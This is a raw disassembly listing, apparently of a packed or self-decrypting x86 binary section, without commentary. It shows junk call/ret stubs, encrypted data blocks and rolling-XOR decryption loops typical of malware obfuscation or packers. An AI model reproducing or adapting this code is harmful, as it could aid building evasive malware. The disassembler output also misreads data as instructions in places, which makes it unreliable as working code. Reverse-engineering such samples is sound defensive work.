sub_5724C2	endp

; ---------------------------------------------------------------------------
		dw 6AE7h
		dd 0B5895BE6h, 5F9297Dh
; ---------------------------------------------------------------------------


loc_5724DC:				; CODE XREF: .XComp0:00572495j
		pop	edi
		mov	edx, [ebp+5F9209Dh]
		mov	[ebp+5F94E75h],	edi
		add	[ebp+5F91F01h],	edi
		lea	ecx, [ebp+5F91A05h]
		push	0
		push	ebx
		call	sub_572500
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572500	proc near		; CODE XREF: .XComp0:005724F8p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_572500	endp

; ---------------------------------------------------------------------------
		dd 2E818A0Ch, 0F10A859Fh, 8E0FF881h, 3,	0FFD18B66h, 0F90769B5h
		dd 0DDE38105h, 8D72BAA6h, 0FBE74E85h, 0BD8D5005h, 5F95588h
		dd 6F5C8D8Dh, 0BCB805F9h, 2B54831Ah, 0D00730CFh, 754947C8h
		dd 0EFB58DF8h, 8D05F96Eh, 0F96F748Dh, 0F3CF2B05h, 0B8C933A4h
		dd 0
; ---------------------------------------------------------------------------
		or	eax, eax
		jz	short loc_5725B2
		cmp	dword ptr [ebp+5F913EDh], 0
		jz	short loc_57257B
		call	dword ptr [ebp+5F907E1h]


loc_57257B:				; CODE XREF: .XComp0:00572573j
		mov	esi, [ebp+5F94E75h]
		lea	eax, [ebp+5FBE74Eh]
		call	eax
		lea	eax, [ebp+5F942D2h]
		call	eax
		mov	dword ptr [ebp+5F921A5h], 1
		mov	esp, [ebp+5F918E9h]
		mov	esi, [ebp+5F92BA5h]
		mov	ebp, [ebp+5F913D1h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_5725B2:				; CODE XREF: .XComp0:0057256Aj
		push	0
		push	eax
		call	sub_5725BD
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5725BD	proc near		; CODE XREF: .XComp0:005725B5p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5725BD	endp

; ---------------------------------------------------------------------------
		db 0FAh, 0A3h, 27h
		dd 0E800A77Eh, 14h, 9451354Dh, 5B9496BCh, 400F64BDh, 43EEF723h
		dd 67828196h, 68D0Fh, 0B5890000h, 5F92711h, 819D895Ah
		dd 8305F92Eh, 0F90C69BDh, 840F0005h, 28h, 14E8h, 0D0DD600h
		dd 0B8A048B2h, 8C62F0ABh, 31505EBAh, 8AAB1A55h,	5BEDB676h
		dd 77595FFh, 0BD8905F9h, 5F92625h, 1825BD83h, 0F0005F9h
		dd 1F585h, 0DEB70F00h, 1785BD83h, 0F0105F9h, 1E585h, 0FE96000h
		dd 0B5000000h, 9DBE44AAh, 71AF50FCh, 3BE85EC2h,	9531EC55h
		dd 5F92231h, 41BD8361h,	5F921h,	1BC840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 793A17C3h, 49B27413h, 619D8BE8h, 5705F911h, 0BE9h, 3F2B1300h
		dd 0DF3CEC9Fh, 0E2FD9E38h, 0C8BD835Bh, 5F94Eh, 174840Fh
		dd 858D0000h, 5FBE74Eh,	6840Fh,	9D8B0000h, 5F92DB1h, 4E75B58Bh
		dd 953305F9h, 5F90D05h,	6AD0FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 7BD252C3h, 8302135Fh
		dd 298D55A2h, 0F9002D95h, 5840F05h, 66000000h, 2735DA81h
		dd 85C6A6B7h, 5F91899h,	51006A54h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 71941453h, 0F9E70B9h
		dd 0A8Bh, 81666000h, 80CE5DC6h,	896126CFh, 0F90D2995h
		dd 251B6805h, 74B782DDh, 0D9240481h, 0E97C7199h, 6, 91DEBF06h
		dd 0B5FFB290h, 5F92719h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0CC35545h, 0EB84744Dh, 81758875h, 0E364E1CBh
		dd 6A858D4Ch, 6A05F93Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8BD5C353h, 0F9041595h
		dd 8BD0FF05h, 0F92B199Dh, 8B006A05h, 0F907FD9Dh, 68E0F05h
		dd 29000000h, 0F909A5BDh, 8BFF6A05h, 0F9203195h, 6AD0FF05h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 8245C355h, 28862283h, 0DE949h, 20FE0000h
		dd 0C36B708Ch, 0CAD5F6F2h, 0FF8C3297h, 0F90781B5h, 0C202BB05h
		dd 95FF4111h, 5F90769h,	0B58BF38Ah, 5F94E75h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 85C35040h, 2097C836h
		dd 16FA6EFh, 0F90575B5h, 1B58905h, 0C305F914h, 28E1B589h
		dd 0B58B05F9h, 5F91151h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0EAC35545h, 68E0Fh, 9D890000h, 5F93309h
		dd 6C98D89h, 0F60B05F9h, 0E840Fh, 0CA810000h, 4995A2CBh
		dd 0BA0006C6h, 4E19934Dh, 4E7D8589h, 6A05F9h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 9B2993C3h
		dd 8C8BBFD9h, 4459D8Bh,	0B50905F9h, 5F92195h, 0F00F883h
		dd 34484h, 0A9F38100h, 0B879475Dh, 0
; ---------------------------------------------------------------------------
		mov	edx, ebx
		cmp	eax, 0
		jz	loc_5729BB
		mov	bx, 38B2h
		cmp	eax, 2
		jnz	loc_5729A2
		xor	edx, [ebp+5F923FDh]
		lea	eax, [ebp+5F944F8h]
		jmp	loc_572938
; ---------------------------------------------------------------------------
		db 0F4h, 66h, 0CFh
		dd 24364978h, 9CCA58B6h
; ---------------------------------------------------------------------------


loc_572938:				; CODE XREF: .XComp0:00572928j
		sub	eax, 929h
		push	0
		push	edi
		call	sub_572948
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572948	proc near		; CODE XREF: .XComp0:00572940p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_572948	endp

; ---------------------------------------------------------------------------
		dd 0A6911C32h, 8B0F6090h, 6, 310F5250h,	55B4585Ah, 840F5061h
		dd 2, 6A90F08Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0FB6C352h, 58Bh, 0F3816600h, 66C3FF05h
; ---------------------------------------------------------------------------
		mov	ebx, eax


loc_5729A2:				; CODE XREF: .XComp0:00572916j
		mov	eax, 0
		jo	loc_5729B2
		mov	ebx, 17B0C1F5h


loc_5729B2:				; CODE XREF: .XComp0:005729A7j
		jmp	loc_572C3D
; ---------------------------------------------------------------------------
		push	edi
		mov	dh, 0F5h
		pop	ebx


loc_5729BB:				; CODE XREF: .XComp0:00572909j
		mov	eax, 1
		jnb	loc_5729D2
		jp	loc_5729D2
		mov	[ebp+5F90491h],	edi


loc_5729D2:				; CODE XREF: .XComp0:005729C0j
					; .XComp0:005729C6j
		lea	edi, [ebp+5F944FDh]
		and	bx, 449Eh
		jmp	loc_572AD0
; ---------------------------------------------------------------------------
		sub	[ebp+5F92625h],	esi
		cmp	eax, 2
		jnz	loc_572A40
		jmp	loc_572A07
; ---------------------------------------------------------------------------
		dw 1A4Ah
		dd 4E3E442Ah, 0B045CC0Ah, 0CFD01355h
		db 42h,	4Eh, 26h
; ---------------------------------------------------------------------------


loc_572A07:				; CODE XREF: .XComp0:005729F1j
		lea	edi, [ebp+5F946F5h]
		mov	dl, 6Fh
		jmp	loc_572AD0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_572A1F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572A1F	proc near		; CODE XREF: .XComp0:00572A17p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_572A1F	endp

; ---------------------------------------------------------------------------
		db 22h
; ---------------------------------------------------------------------------
		add	ecx, ebp
		jge	loc_572A3A
		mov	bl, 30h


loc_572A3A:				; CODE XREF: .XComp0:00572A32j
		mov	edx, [ebp+5F917FDh]


loc_572A40:				; CODE XREF: .XComp0:005729EBj
		cmp	eax, 3
		jnz	loc_572A9D
		push	0
		push	eax
		call	sub_572A54
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572A54	proc near		; CODE XREF: .XComp0:00572A4Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_572A54	endp

; ---------------------------------------------------------------------------
		aas
		mov	[ebp+5F929B5h],	ebx
		lea	edi, [ebp+5F94889h]
		add	[ebp+5F9155Dh],	edi
		movzx	edx, ax
		jmp	loc_572AD0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_572A8A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572A8A	proc near		; CODE XREF: .XComp0:00572A82p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_572A8A	endp

; ---------------------------------------------------------------------------
		dw 373Bh
		db 0E0h
; ---------------------------------------------------------------------------


loc_572A9D:				; CODE XREF: .XComp0:00572A43j
		cmp	eax, 5
		jnz	loc_572AD0
		push	0
		push	edx
		call	sub_572AB1
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572AB1	proc near		; CODE XREF: .XComp0:00572AA9p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_572AB1	endp

; ---------------------------------------------------------------------------
		lods	dword ptr cs:[esi]
		push	ebx
		inc	ecx
		jmp	loc_572B74
; ---------------------------------------------------------------------------
		xor	edx, 38D8FD9Dh


loc_572AD0:				; CODE XREF: .XComp0:005729DDj
					; .XComp0:00572A0Fj ...
		push	edi
		sub	ebx, [ebp+5F92C81h]
		mov	ecx, 6557C8B3h
		and	edx, [ebp+5F90B51h]


loc_572AE2:				; CODE XREF: .XComp0:00572B4Bj
		cmp	dword ptr [edi], 0
		jz	loc_572B74
		mov	[ebp+5F9100Dh],	edx
		mov	edx, [ebp+5F92B1Dh]
		xor	[edi], cl
		cld
		pusha
		push	edi
		pop	edi
		popa
		ror	ecx, 1
		push	0
		push	eax
		call	sub_572B0B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572B0B	proc near		; CODE XREF: .XComp0:00572B03p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_572B0B	endp

; ---------------------------------------------------------------------------
		stosb
		xor	eax, 0F8FD2CC8h
		stc
		mov	edx, 16EE9D35h
		inc	edi
		push	0
		push	edx
		call	sub_572B33
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572B33	proc near		; CODE XREF: .XComp0:00572B2Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_572B33	endp

; ---------------------------------------------------------------------------
		and	cl, bh
		or	bh, ds:0F55EEF80h
		jmp	loc_572AE2
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_572B5B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572B5B	proc near		; CODE XREF: .XComp0:00572B53p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_572B5B	endp

; ---------------------------------------------------------------------------
		retf	7946h
; ---------------------------------------------------------------------------
		xor	[ebp+5F9171Dh],	edx


loc_572B74:				; CODE XREF: .XComp0:0057226Fj
					; .XComp0:005723ABj ...
		cmp	eax, 5
		jnz	loc_572C3D
		push	0
		push	edx
		call	sub_572B88
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572B88	proc near		; CODE XREF: .XComp0:00572B80p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_572B88	endp

; ---------------------------------------------------------------------------
		jbe	short loc_572C18
		movzx	edx, di
		mov	cx, ds
		mov	edx, esi
		test	cl, 4
		jnz	loc_572C0C
		jmp	loc_572BB8
; ---------------------------------------------------------------------------
		dd 0F11854CEh, 0EB9A6C27h
; ---------------------------------------------------------------------------


loc_572BB8:				; CODE XREF: .XComp0:00572BABj
		mov	eax, 0
		push	0
		push	eax
		call	sub_572BC8
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572BC8	proc near		; CODE XREF: .XComp0:00572BC0p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_572BC8	endp

; ---------------------------------------------------------------------------
		push	cs
		pushf
		fsubr	qword ptr [ebp-197FE817h]
		inc	eax
		jmp	loc_572C3D
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_572BF1
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572BF1	proc near		; CODE XREF: .XComp0:00572BE9p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_572BF1	endp

; ---------------------------------------------------------------------------
		db 0CEh, 0F3h, 0FAh
; ---------------------------------------------------------------------------
		mov	ebx, ecx
		add	edx, 836C6D8h


loc_572C0C:				; CODE XREF: .XComp0:00572BA5j
		mov	eax, [ebp+5F92099h]
		mov	[ebp+5F91219h],	eax


loc_572C18:				; CODE XREF: .XComp0:00572B98j
		jmp	eax
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_572C25
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572C25	proc near		; CODE XREF: .XComp0:00572C1Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_572C25	endp

; ---------------------------------------------------------------------------
		db 0DCh, 4Eh, 29h
		dd 0F92749B5h
		db 5
; ---------------------------------------------------------------------------


loc_572C3D:				; CODE XREF: .XComp0:005720DBj
					; .XComp0:loc_5729B2j ...
		cmp	dword ptr [ebp+5F90769h], 0
		jnz	loc_572D4B
		push	0
		push	esi
		call	sub_572C55
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572C55	proc near		; CODE XREF: .XComp0:00572C4Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_572C55	endp

; ---------------------------------------------------------------------------
		db 7Ch,	90h, 50h
; ---------------------------------------------------------------------------
		jmp	loc_572C78
; ---------------------------------------------------------------------------
		db 17h,	21h, 5Bh
		dd 0A52882C8h, 6DD8C67Ah
; ---------------------------------------------------------------------------


loc_572C78:				; CODE XREF: .XComp0:00572C68j
		nop
		push	ebx
		mov	dl, 6Eh
		pop	edx
		mov	byte ptr [ebp+5F91899h], 45h
		mov	bx, 0E06Ch
		push	3BE350EAh
		mov	bx, cx
		add	dword ptr [esp], 528F187Fh
		push	0
		push	edx
		call	sub_572CA2
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572CA2	proc near		; CODE XREF: .XComp0:00572C9Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_572CA2	endp

; ---------------------------------------------------------------------------
		cmp	al, 2Eh
		sub	al, 0EBh
		and	bx, 6DA0h
		push	dword ptr [ebp+5F92719h]
		push	0
		push	ebx
		call	sub_572CCC
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572CCC	proc near		; CODE XREF: .XComp0:00572CC4p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_572CCC	endp

; ---------------------------------------------------------------------------
		sbb	[ebp+1Fh], ecx
		sub	ebx, [ebp+5F913E1h]
		lea	eax, [ebp+5F93A6Ah]
		push	0
		push	ebp
		call	sub_572CF6
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572CF6	proc near		; CODE XREF: .XComp0:00572CEEp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_572CF6	endp

; ---------------------------------------------------------------------------
		popf
		pop	ds
		sub	eax, 12BB66C8h
		push	ds
		call	eax
		mov	bh, 38h
		mov	[ebp+5F90769h],	eax
		mov	edx, [ebp+5F906F1h]
		mov	ebx, 1D4BE8A6h
		pop	eax
		push	0
		push	ecx
		call	sub_572D2F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572D2F	proc near		; CODE XREF: .XComp0:00572D27p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_572D2F	endp

; ---------------------------------------------------------------------------
		db 4Bh
		dd 1CE195B6h, 1FA9CC2Eh
; ---------------------------------------------------------------------------
		pop	ecx
		mov	bh, 75h


loc_572D4B:				; CODE XREF: .XComp0:00572C44j
		cmp	dword ptr [ebp+5F94ECCh], 0
		jz	loc_572DBB
		push	0
		push	edx
		call	sub_572D63
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572D63	proc near		; CODE XREF: .XComp0:00572D5Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_572D63	endp

; ---------------------------------------------------------------------------
		db 23h
		db 90h
		db 14h,	0D3h, 0AFh
		dd 0D6E77FAh, 0A59D8995h, 6605F931h, 3425F381h,	781B5FFh
		dd 6A05F9h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 47A617C3h, 8E428F5Fh, 95FFFCBDh, 5F90769h
; ---------------------------------------------------------------------------
		movsx	ebx, di


loc_572DBB:				; CODE XREF: .XComp0:00572D52j
		cmp	eax, 0
		jnz	loc_572EB3
		mov	[ebp+5F914ADh],	eax
		cmp	dword ptr [ebp+5F90151h], 0
		jz	loc_572E18
		push	edi
		mov	edx, esi
		pop	ebx
		push	dword ptr [ebp+5F90151h]
		push	0
		push	esi
		call	sub_572DEC
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572DEC	proc near		; CODE XREF: .XComp0:00572DE4p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_572DEC	endp

; ---------------------------------------------------------------------------
		retn	0CA81h
; ---------------------------------------------------------------------------
		xchg	eax, ebx
		cmc
		not	dword ptr [edi]
		mov	eax, 1
		mov	[ebp+5F903DDh],	ebx
		jmp	loc_573094
; ---------------------------------------------------------------------------
		mov	ebx, 24CA55D7h


loc_572E18:				; CODE XREF: .XComp0:00572DD1j
		push	dword ptr [ebp+5F90781h]
		call	sub_572E33
		xchg	eax, edx
		retn
; ---------------------------------------------------------------------------
		or	edx, [ebx+62BA485Ch]
		dec	byte ptr [edx-3D4E2BD5h]
		push	ds
		icebp

; =============== S U B	R O U T	I N E =======================================



sub_572E33	proc near		; CODE XREF: .XComp0:00572E1Ep
		mov	bh, al
		pop	ebx
		push	dword ptr [ebp+5F90781h]
		push	0
		push	esi
		call	sub_572E47
		and	[esi-3Dh], bl
sub_572E33	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_572E47	proc near		; CODE XREF: sub_572E33+Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_572E47	endp

; ---------------------------------------------------------------------------
		db 7Eh
		dd 8B67216Bh, 5E8DFh, 495B0000h, 0F91A1D67h, 69B5FF5Bh
		dd 6A05F907h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0ED18C350h, 815DC465h,	0AC3957EBh
		dd 1FAE91Ah, 14E90000h,	2B000000h, 2E09A5Bh, 589C2A82h
		dd 797BA4C0h, 91DAF572h
; ---------------------------------------------------------------------------
		push	esp
		test	edx, ecx


loc_572EB3:				; CODE XREF: .XComp0:00572DBEj
		pop	edi
		push	0
		push	ebx
		call	sub_572EBF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572EBF	proc near		; CODE XREF: .XComp0:00572EB7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_572EBF	endp

; ---------------------------------------------------------------------------
		db 0E7h
		dd 675A107h, 0F5525D4Bh, 25BD835Ah, 5F909h, 0B2850Fh, 99B20000h
		dd 189985C6h, 894D05F9h, 0F922458Dh, 4E805h, 76A80000h
		dd 0BA51A435h, 38F5EE3Eh, 7DBB505Bh, 8B52AE97h,	60042444h
		dd 6820Fh, 810F0000h, 0
		dd 9E8h, 0DAC5B400h, 0D377F541h, 5E525DA0h, 8B615Eh, 0C1CDBB66h
		dd 4244489h, 3C04BA58h,	0B5FF38BFh, 5F92109h, 26058D29h
		dd 8B0F05F9h, 0Ch, 6840Fh, 0BD890000h, 5F91E1Dh, 3A6A858Dh
		dd 816605F9h, 0BAC78FC2h, 20A5FCEAh, 958BD0FFh,	5F928A1h
		dd 9258589h, 6A05F9h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 2EA02EC3h, 0B8h,	57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 63047671h, 341D7130h, 0BD8987B7h, 5F94E75h, 0B8CE780h
		dd 3E840FC0h, 0B000000h, 0F90D019Dh, 0B6E905h, 8A0F0000h
		dd 2Dh,	0FE8h, 19C7F200h, 0EA5CD5F8h, 0C343F15Ch, 7633474Ah
		dd 13E9h, 8AAC5E00h, 981A5021h,	14D0D2F9h, 0A7F9B793h
		dd 0F5D61715h, 69B5FF5Bh, 8905F907h, 0F90F4D95h, 4E858D05h
		dd 0F05FBE7h, 88Bh, 2870F00h, 57000000h, 8B66505Ah, 240489D1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 72C35040h
		dd 9DA01365h, 790434BEh, 9D3360F5h, 5F92421h, 0BD57BB66h
		dd 0CE861h, 5D250000h, 2A605B39h, 80F677F2h, 0DE8D8ABh
		dd 66000000h, 0AF83E58Bh, 35C2FE6Ah, 0CA208CF0h, 26D99D8Bh
		dd 5B5A05F9h
; ---------------------------------------------------------------------------


loc_573094:				; CODE XREF: .XComp0:00572E0Ej
		push	eax
		push	esi
		lea	edi, [ebp+5F95588h]
		lea	ecx, [ebp+5F97ABCh]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_5730A9:				; CODE XREF: .XComp0:005730AFj
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_5730A9
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+5F90151h], 0
		jz	short loc_5730C2
		mov	ecx, [ebp+5F9255Dh]


loc_5730C2:				; CODE XREF: .XComp0:005730BAj
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_573179
		cmp	dword ptr [ebp+5F913EDh], 0
		jz	short loc_5730E0
		call	dword ptr [ebp+5F907E1h]


loc_5730E0:				; CODE XREF: .XComp0:005730D8j
		mov	eax, 0
		or	eax, eax
		jnz	short loc_5730F2
		cmp	dword ptr [ebp+5F94E7Dh], 1
		jz	short loc_5730FB


loc_5730F2:				; CODE XREF: .XComp0:005730E7j
		cmp	dword ptr [ebp+5F94E7Dh], 2
		jnz	short loc_573109


loc_5730FB:				; CODE XREF: .XComp0:005730F0j
		mov	esi, [ebp+5F94E75h]
		lea	eax, [ebp+5FBE74Eh]
		call	eax


loc_573109:				; CODE XREF: .XComp0:005730F9j
		cmp	dword ptr [ebp+5F90C69h], 0
		jz	short loc_573118
		call	dword ptr [ebp+5F90775h]


loc_573118:				; CODE XREF: .XComp0:00573110j
		lea	eax, [ebp+5F942D2h]
		call	eax
		cmp	dword ptr [ebp+5F92DF5h], 2
		jnz	short loc_573158
		mov	esp, [ebp+5F918E9h]
		mov	eax, [ebp+5F90151h]
		mov	[esp], eax
		mov	dword ptr [ebp+5F921A5h], 1
		mov	esi, [ebp+5F94E79h]
		mov	ebp, [ebp+5F913D1h]
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	short $+2


loc_573158:				; CODE XREF: .XComp0:00573127j
		mov	dword ptr [ebp+5F921A5h], 1
		mov	esp, [ebp+5F918E9h]
		mov	esi, [ebp+5F92BA5h]
		mov	ebp, [ebp+5F913D1h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_573179:				; CODE XREF: .XComp0:005730CBj
		cmp	dword ptr [ebp+5F90C69h], 0
		jz	short loc_573191
		cmp	dword ptr [ebp+5F90775h], 0
		jz	short loc_573191
		call	dword ptr [ebp+5F90775h]


loc_573191:				; CODE XREF: .XComp0:00573180j
					; .XComp0:00573189j
		mov	esi, [ebp+5F94E75h]
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5731A5
; ---------------------------------------------------------------------------
		db 28h,	5Ch, 0CFh
		dd 49F7B41Eh
		db 7Bh
; ---------------------------------------------------------------------------


loc_5731A5:				; CODE XREF: .XComp0:00573198j
		jmp	loc_5731B0
; ---------------------------------------------------------------------------
		dw 95C6h
		dd 0E6C1BAF1h
; ---------------------------------------------------------------------------


loc_5731B0:				; CODE XREF: .XComp0:loc_5731A5j
		mov	dx, si
		sub	edx, edx
		mov	[ebp+5F92725h],	eax
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_5731CB
; ---------------------------------------------------------------------------


loc_5731C9:				; CODE XREF: .XComp0:005731CEj
		inc	eax
		inc	edi


loc_5731CB:				; CODE XREF: .XComp0:005731C7j
		cmp	byte ptr [edi],	0
		jnz	short loc_5731C9
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5731FA
; ---------------------------------------------------------------------------


loc_5731D7:				; CODE XREF: .XComp0:005731FCj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_5731EF
; ---------------------------------------------------------------------------


loc_5731EC:				; CODE XREF: .XComp0:005731F2j
		mul	ebx
		dec	esi


loc_5731EF:				; CODE XREF: .XComp0:005731EAj
		cmp	esi, 0
		ja	short loc_5731EC
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_5731FA:				; CODE XREF: .XComp0:005731D5j
		or	eax, eax
		jnz	short loc_5731D7
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		add	dx, 91AEh
		add	edx, 21275692h
		mov	eax, ecx
		jmp	loc_599045
; ---------------------------------------------------------------------------
		dd offset dword_5FF948
		dw 0FF44h
		dd 0DD060012h, 0F000005Fh, 0A287FFDh, 1050000h,	2A0A28h
		dd 206026Ch, 20000h, 10000h, 30000h, 0B5ED0000h, 0FA5Dh
		dd 4 dup(0)
		dd 0AD5C0000h, 47090057h, 0EFBB0057h, 5D0A0057h, 0B6000057h
		dd 0E1FC0057h, 0DA460057h, 0A5340057h, 3FE90057h, 898B0057h
		dd 0E1130057h, 91A80057h, 8030057h, 96FA0058h, 17FB0057h
		dd 0A0CD0058h, 0C4EC0057h, 489F0057h, 3E130057h, 0E4D20057h
		dd 75AB0057h, 0FBB20057h, 50480057h, 4D290057h,	0A5B20057h
		dd 73A90057h, 956A0057h, 2AB90057h, 5FED0058h, 65C50057h
		dd 10F70057h, 633C0058h, 79BA0057h, 52290057h, 0D4D70057h
		dd 0FFD00057h, 0CCF10057h, 39C70057h, 0E2860057h, 0C8C40057h
		dd 0ED3F0057h, 5FA0057h, 519B0058h, 0EBD20057h,	77A0057h
		dd 452E0058h, 0F9D10057h, 84F70057h, 70A20057h,	0AD810057h
		dd 0C1140057h, 0F7A0057h, 0F0380058h, 2DE10057h, 31E60058h
		dd 0B6B30058h, 9C000057h, 0CC410057h, 24EB0057h, 0C4E60058h
		dd 3C8F0057h, 78DA0057h, 0D0800057h, 81840057h,	72430057h
